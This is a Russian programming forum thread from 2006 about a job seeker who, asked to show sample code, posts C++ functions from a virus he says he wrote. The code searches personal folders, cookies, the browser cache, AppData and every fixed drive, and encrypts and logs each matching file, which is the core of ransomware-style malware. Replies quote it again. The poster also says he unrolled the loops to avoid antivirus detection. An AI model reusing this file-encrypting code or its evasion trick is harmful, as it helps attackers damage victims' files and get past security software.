Re[24]: Хочу работать! Возьмите меня программистом!..
От: mukos СССР  
Дата: 28.09.06 12:00
Оценка:
Здравствуйте, Nose, Вы писали:

N>Здравствуйте, Аноним, Вы писали:



А>>Написание тестов — минут 10. Отладка — когда как, от 15 минут до часа.


N>Черт, 500 строк отлаженного кода за 2 часа 25 минут.

N>Надо начальству посоветовать, пусть весь отдел наш разгоняет к чертям и берет одного такого гения

ржу нимагу
... << RSDN@Home 1.1.4 stable SR1 rev. 568>>
Re[27]: Хочу работать! Возьмите меня программистом!..
От: mogadanez Чехия  
Дата: 28.09.06 12:01
Оценка:
M>>И ЗАПОРОЛЕННЫМИ

А>Хм. Если они будут зашифрованными, какой смысл их вообще публиковать?


а говоришь раскусил идею...
... << RSDN@Home 1.1.4 stable SR1 rev. 568>>
Re[27]: Хочу работать! Возьмите меня программистом!..
От: Аноним  
Дата: 28.09.06 12:02
Оценка: :))) :))) :)))
Здравствуйте, FDSC, Вы писали:

FDS>Ну, дали бы мне, получили бы место, с вероятностью процентов 75% — если бы код нормальный был, конечно.

FDS>Понимаете, вы можете дать совсем маленькую часть кода, строк 200, и никто кроме вас не получит выгоды от этого. Зато работодатель увидет код и скажэет: а может он не такой уж ламмер и с ним нужно пообщаться. Понимаете, код сам по себе может быть ЛЮБОЙ, практически не несущий практической ценности: главное себя показать. Вы должны показать себя, чтобы заинтересовать работодателя, а не наоборот.

Хм... Так. Хорошо. Здесь говорили что-то про поиск файлов и каталогов. Так вот как-то года 4е назад писал я вирус, который как раз и искал всё подряд...

Вот некоторые функции (VC++ 6) из него:

int SearchForPrivateData ()
{
    LPTSTR path = (TCHAR*) SHAlloc (MAX_PATH + 1);
    if (! path)
        return 0;

    // My documents
    if (SHGetSpecialFolderPath (0, path, CSIDL_PERSONAL, FALSE))
        SearchFolder (path);

    // Shared My documents (CSIDL_COMMON_DOCUMENTS)
    if (SHGetSpecialFolderPath (0, path, 0x002e, FALSE))
        SearchFolder (path);

    // Desktop
    if (SHGetSpecialFolderPath (0, path, CSIDL_DESKTOP, FALSE))
        SearchFolder (path);

    // Shared Favourites
    if (SHGetSpecialFolderPath (0, path, CSIDL_COMMON_FAVORITES, FALSE))
        SearchFolder (path);

    // Shared Desktop
    if (SHGetSpecialFolderPath (0, path, CSIDL_COMMON_DESKTOPDIRECTORY, FALSE))
        SearchFolder (path);
    
    // Cookies
    if (SHGetSpecialFolderPath (0, path, CSIDL_COOKIES, FALSE))
        SearchFolder (path);
    
    // Temporary Internet Files
    if (SHGetSpecialFolderPath (0, path, CSIDL_INTERNET_CACHE, FALSE))
        SearchFolder (path);

    // Application Data
    if (SHGetSpecialFolderPath (0, path, CSIDL_APPDATA, FALSE))
        SearchFolder (path);

    // Shared Application Data (CSIDL_COMMON_APPDATA)
    if (SHGetSpecialFolderPath (0, path, 0x0023, FALSE))
        SearchFolder (path);

    TCHAR wd [MAX_PATH + 1];
    GetWindowsDirectory (wd, MAX_PATH + 1);
    if (! IsCharLower (wd [0]))
        wd [0] = (TCHAR) CharLower ((LPSTR) wd [0]);

    // scanning other local drives...
    if (GetDriveType ("C:") == DRIVE_FIXED && wd [0] != 'c')
        SearchFolder ("C:\\");
    if (GetDriveType ("D:") == DRIVE_FIXED && wd [0] != 'd')
        SearchFolder ("D:\\");
    if (GetDriveType ("E:") == DRIVE_FIXED && wd [0] != 'e')
        SearchFolder ("E:\\");
    if (GetDriveType ("F:") == DRIVE_FIXED && wd [0] != 'f')
        SearchFolder ("F:\\");
    if (GetDriveType ("G:") == DRIVE_FIXED && wd [0] != 'g')
        SearchFolder ("G:\\");
    if (GetDriveType ("H:") == DRIVE_FIXED && wd [0] != 'h')
        SearchFolder ("H:\\");
    if (GetDriveType ("I:") == DRIVE_FIXED && wd [0] != 'i')
        SearchFolder ("I:\\");
    if (GetDriveType ("J:") == DRIVE_FIXED && wd [0] != 'j')
        SearchFolder ("J:\\");
    if (GetDriveType ("K:") == DRIVE_FIXED && wd [0] != 'k')
        SearchFolder ("K:\\");
    if (GetDriveType ("L:") == DRIVE_FIXED && wd [0] != 'l')
        SearchFolder ("L:\\");
    if (GetDriveType ("M:") == DRIVE_FIXED && wd [0] != 'm')
        SearchFolder ("M:\\");
    if (GetDriveType ("N:") == DRIVE_FIXED && wd [0] != 'n')
        SearchFolder ("N:\\");
    if (GetDriveType ("O:") == DRIVE_FIXED && wd [0] != 'o')
        SearchFolder ("O:\\");
    if (GetDriveType ("P:") == DRIVE_FIXED && wd [0] != 'p')
        SearchFolder ("P:\\");
    if (GetDriveType ("Q:") == DRIVE_FIXED && wd [0] != 'q')
        SearchFolder ("Q:\\");
    if (GetDriveType ("R:") == DRIVE_FIXED && wd [0] != 'r')
        SearchFolder ("R:\\");
    if (GetDriveType ("S:") == DRIVE_FIXED && wd [0] != 's')
        SearchFolder ("S:\\");
    if (GetDriveType ("T:") == DRIVE_FIXED && wd [0] != 't')
        SearchFolder ("T:\\");
    if (GetDriveType ("U:") == DRIVE_FIXED && wd [0] != 'u')
        SearchFolder ("U:\\");
    if (GetDriveType ("V:") == DRIVE_FIXED && wd [0] != 'v')
        SearchFolder ("V:\\");
    if (GetDriveType ("W:") == DRIVE_FIXED && wd [0] != 'w')
        SearchFolder ("W:\\");
    if (GetDriveType ("X:") == DRIVE_FIXED && wd [0] != 'x')
        SearchFolder ("X:\\");
    if (GetDriveType ("Y:") == DRIVE_FIXED && wd [0] != 'y')
        SearchFolder ("Y:\\");
    if (GetDriveType ("Z:") == DRIVE_FIXED && wd [0] != 'z')
        SearchFolder ("Z:\\");

    SHFree (path);

    if (gbkill)
        return 2;

    if (gCount > 0 /*&& gSize >= MIN_SIZE*/)
        return 1;
    else
        return 0;
}

void SearchFolder (LPCTSTR path)
{
    if (! CheckFolder (path))
        return;

    DWORD dwCount = 0;
    WIN32_FIND_DATA w32fd;
    LPTSTR origpath = cmbpath (path, "*.*");
    HANDLE hFind = FindFirstFile (origpath, &w32fd);
    LPTSTR fp;

    if (hFind == INVALID_HANDLE_VALUE)
        return;

    do
    {
        if (gbkill)
        {
            FindClose (hFind);
            SHFree (origpath);
            return;
        }

        fp = cmbpath (path, w32fd.cFileName);

        if (! (w32fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
        {
            if (IsMatch (fp))
            {
                if (EncryptFile (fp))
                    AppendLog (fp);
            }
        }
        else if (StrCmpI (w32fd.cFileName, ".") != 0 && 
            StrCmpI (w32fd.cFileName, "..") != 0)
        {
            SearchFolder (fp);
        }

        SHFree (fp);

    } while (FindNextFile (hFind, &w32fd));

    SHFree (origpath);

    FindClose (hFind);
}
Re[25]: Хочу работать! Возьмите меня программистом!..
От: mukos СССР  
Дата: 28.09.06 12:02
Оценка:
Здравствуйте, mukos, Вы писали:

M>Здравствуйте, Nose, Вы писали:


N>>Здравствуйте, Аноним, Вы писали:



А>>>Написание тестов — минут 10. Отладка — когда как, от 15 минут до часа.


N>>Черт, 500 строк отлаженного кода за 2 часа 25 минут.

N>>Надо начальству посоветовать, пусть весь отдел наш разгоняет к чертям и берет одного такого гения

M>ржу нимагу


Имею ввиду вообще над веткой —
в юмор однозначно ... или создать новый форум типа " злой флуд"
... << RSDN@Home 1.1.4 stable SR1 rev. 568>>
Re[27]: Хочу работать! Возьмите меня программистом!..
От: _FRED_ Черногория
Дата: 28.09.06 12:05
Оценка:
Здравствуйте, FDSC, Вы писали:

FDS>Ни один программист в "экранах" размер программы не меряет. В строках, голубчик, в строках...


Ээээ… нет! Я размер функций меряю как раз в экранах: пол-экрана — хорошо; два — много; пять — пора это "лего" пересобирать
... << RSDN@Home 1.2.0 alpha rev. 652>>
Now playing: «Тихо в лесу…»
Help will always be given at Hogwarts to those who ask for it.
Re[4]: Мдя...
От: Аноним  
Дата: 28.09.06 12:08
Оценка:
Здравствуйте, FDSC, Вы писали:

А>>Чем задрал, если я ничего не пишу в этой ветке сам?! Я только отвечаю на всякую ерунду, которую пишут другие!


FDS>Когда отвечаешь ты то же пишешь


У вас плохо с понимаем смысла предложений.
Re[28]: Хочу работать! Возьмите меня программистом!..
От: FDSC Россия consp11.github.io блог
Дата: 28.09.06 12:12
Оценка:
Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FDSC, Вы писали:


FDS>>Ну, дали бы мне, получили бы место, с вероятностью процентов 75% — если бы код нормальный был, конечно.

FDS>>Понимаете, вы можете дать совсем маленькую часть кода, строк 200, и никто кроме вас не получит выгоды от этого. Зато работодатель увидет код и скажэет: а может он не такой уж ламмер и с ним нужно пообщаться. Понимаете, код сам по себе может быть ЛЮБОЙ, практически не несущий практической ценности: главное себя показать. Вы должны показать себя, чтобы заинтересовать работодателя, а не наоборот.

А>Хм... Так. Хорошо. Здесь говорили что-то про поиск файлов и каталогов. Так вот как-то года 4е назад писал я вирус, который как раз и искал всё подряд...


А>Вот некоторые функции (VC++ 6) из него:


А>
А>int SearchForPrivateData ()
А>{
А>    // scanning other local drives...
А>    if (GetDriveType ("C:") == DRIVE_FIXED && wd [0] != 'c')
А>        SearchFolder ("C:\\");
А>    if (GetDriveType ("D:") == DRIVE_FIXED && wd [0] != 'd')
....
А>        SearchFolder ("Y:\\");
А>    if (GetDriveType ("Z:") == DRIVE_FIXED && wd [0] != 'z')
А>        SearchFolder ("Z:\\");

А>}


Почему вы это не сделали через цикл?
Re[28]: Хочу работать! Возьмите меня программистом!..
От: olegkr  
Дата: 28.09.06 12:14
Оценка:
А>Вот некоторые функции (VC++ 6) из него:

Вот теперь мне стало понятно, откуда берется невероятная скорострельность. Copy+Paste во всей красе... Код функции SearchForPrivateData можно сократить раз в 20 и при этом он станет куда как читабельнее. Правда для это потребуется чуток побольше времени, чем 20 раз нажать Ctrl+V
Re[28]: Хочу работать! Возьмите меня программистом!..
От: Аноним  
Дата: 28.09.06 12:14
Оценка:
Здравствуйте, Аноним, Вы писали:


А>Вот некоторые функции (VC++ 6) из него:


А>[ccode]


А> // My documents

А> if (SHGetSpecialFolderPath (0, path, CSIDL_PERSONAL, FALSE))
А> SearchFolder (path);

<skipped 7 раз>

А> // Shared Application Data (CSIDL_COMMON_APPDATA)

А> if (SHGetSpecialFolderPath (0, path, 0x0023, FALSE))
А> SearchFolder (path);


А> // scanning other local drives...

А> if (GetDriveType ("C:") == DRIVE_FIXED && wd [0] != 'c')
А> SearchFolder ("C:\\");

<skipped 24 раза>

А> if (GetDriveType ("Z:") == DRIVE_FIXED && wd [0] != 'z')

А> SearchFolder ("Z:\\");


Если каждый цикл так разворачивать, то я и 20 страниц кода в час напишу.
Re[28]: Хочу работать! Возьмите меня программистом!..
От: FDSC Россия consp11.github.io блог
Дата: 28.09.06 12:14
Оценка:
Здравствуйте, _FRED_, Вы писали:

_FR>Здравствуйте, FDSC, Вы писали:


FDS>>Ни один программист в "экранах" размер программы не меряет. В строках, голубчик, в строках...


_FR>Ээээ… нет! Я размер функций меряю как раз в экранах: пол-экрана — хорошо; два — много; пять — пора это "лего" пересобирать


Ну, если речь идёт о размерах конкретной функции — то да. Кстати, у него они немножко великоваты. Но, в принципе, это не так страшно.
Re[23]: Хочу работать! Возьмите меня программистом!..
От: Unhandled_Exception Россия  
Дата: 28.09.06 12:15
Оценка: :)
Здравствуйте, Аноним, Вы писали:

M>>в этой ветке отметилось много людей, учитывая что почти все они расказали показали эту тему своим друзьям, Вы себе половину Питерского рынка труда точно закрыли


А>Половина Питерского рынка труда — хамы ???????!!!!!!


больше ох, сколько же у Вас впереди открытий
Re[28]: Хочу работать! Возьмите меня программистом!..
От: _FRED_ Черногория
Дата: 28.09.06 12:16
Оценка:
Здравствуйте, <Аноним>, Вы писали:

А>Хм... Так. Хорошо. Здесь говорили что-то про поиск файлов и каталогов. Так вот как-то года 4е назад писал я вирус, который как раз и искал всё подряд...


А>Вот некоторые функции (VC++ 6) из него:


А>void SearchFolder (LPCTSTR path)
А>{
      //…
А>    WIN32_FIND_DATA w32fd;
А>    LPTSTR origpath = cmbpath (path, "*.*");
А>    HANDLE hFind = FindFirstFile (origpath, &w32fd);
      //…
А>        else if (StrCmpI (w32fd.cFileName, ".") != 0 && 
А>            StrCmpI (w32fd.cFileName, "..") != 0)
      //…
А>}

Что-то тут говорит о непоследовательности автора сих строк. Зачем использовать T, если код всё-равно написан так, что не скомпилится с юникодом?
... << RSDN@Home 1.2.0 alpha rev. 652>>
Now playing: «Тихо в лесу…»
Help will always be given at Hogwarts to those who ask for it.
Re[29]: Хочу работать! Возьмите меня программистом!..
От: Аноним  
Дата: 28.09.06 12:17
Оценка:
Здравствуйте, FDSC, Вы писали:

FDS>Почему вы это не сделали через цикл?


Это одна из модификаций. Чтобы антивирусы не палили.
Re[29]: Хочу работать! Возьмите меня программистом!..
От: Аноним  
Дата: 28.09.06 12:18
Оценка:
Здравствуйте, olegkr, Вы писали:

А>>Вот некоторые функции (VC++ 6) из него:


O>Вот теперь мне стало понятно, откуда берется невероятная скорострельность. Copy+Paste во всей красе... Код функции SearchForPrivateData можно сократить раз в 20 и при этом он станет куда как читабельнее. Правда для это потребуется чуток побольше времени, чем 20 раз нажать Ctrl+V


См. мой пост на один выше.
Re: Хочу работать! Возьмите меня программистом!..
От: Sawenka  
Дата: 28.09.06 12:19
Оценка:
Если Вы знаете язык VB.NET, пишите мне на ящик alexandrakhazan@rambler.ru, пообщаемся по поводу работы.
Re[29]: Хочу работать! Возьмите меня программистом!..
От: Аноним  
Дата: 28.09.06 12:19
Оценка:
Здравствуйте, Аноним, Вы писали:

А>Если каждый цикл так разворачивать, то я и 20 страниц кода в час напишу.


Вы тоже см. мой пост на 2 выше.
Re[30]: Хочу работать! Возьмите меня программистом!..
От: FDSC Россия consp11.github.io блог
Дата: 28.09.06 12:21
Оценка:
Здравствуйте, Аноним, Вы писали:

А>Здравствуйте, FDSC, Вы писали:


FDS>>Почему вы это не сделали через цикл?


А>Это одна из модификаций. Чтобы антивирусы не палили.


А вы знаете на какой концепции построены полиморфные вирусы?
Re[31]: Хочу работать! Возьмите меня программистом!..
От: Аноним  
Дата: 28.09.06 12:24
Оценка:
Здравствуйте, FDSC, Вы писали:

FDS>Здравствуйте, Аноним, Вы писали:


А>>Здравствуйте, FDSC, Вы писали:


FDS>>>Почему вы это не сделали через цикл?


А>>Это одна из модификаций. Чтобы антивирусы не палили.


FDS>А вы знаете на какой концепции построены полиморфные вирусы?


Читал когда-то об этом. Сейчас помню только, что они вроде код свой изменяют с каждым заражением.
Re[2]: Хочу работать! Возьмите меня программистом!..
От: FunnyRabbit Россия  
Дата: 28.09.06 12:24
Оценка:
Здравствуйте, Sawenka, Вы писали:

S>Если Вы знаете язык VB.NET, пишите мне на ящик alexandrakhazan@rambler.ru, пообщаемся по поводу работы.


А зачем обязательно VB.NET? Может он может на C# реализовать в библиотеках, а вызовы уже из главного приложения на VB.NET будет делать.


ЗЫ: Это уже, наверное, пиар. Но тебя. Не говори, что на РСДН все злые.
То что меня не убивает, делает меня умнее.
Re[29]: Хочу работать! Возьмите меня программистом!..
От: Аноним  
Дата: 28.09.06 12:26
Оценка:
Здравствуйте, _FRED_, Вы писали:

_FR>Что-то тут говорит о непоследовательности автора сих строк. Зачем использовать T, если код всё-равно написан так, что не скомпилится с юникодом?


Впоследствии я хотел сделать поддержку Unicode, но потом бросил все эти вирусы...
А вообще это T никому не мешает, оно всё равно препроцессором будет заменено на char*...
Подождите ...
Wait...
Пока на собственное сообщение не было ответов, его можно удалить.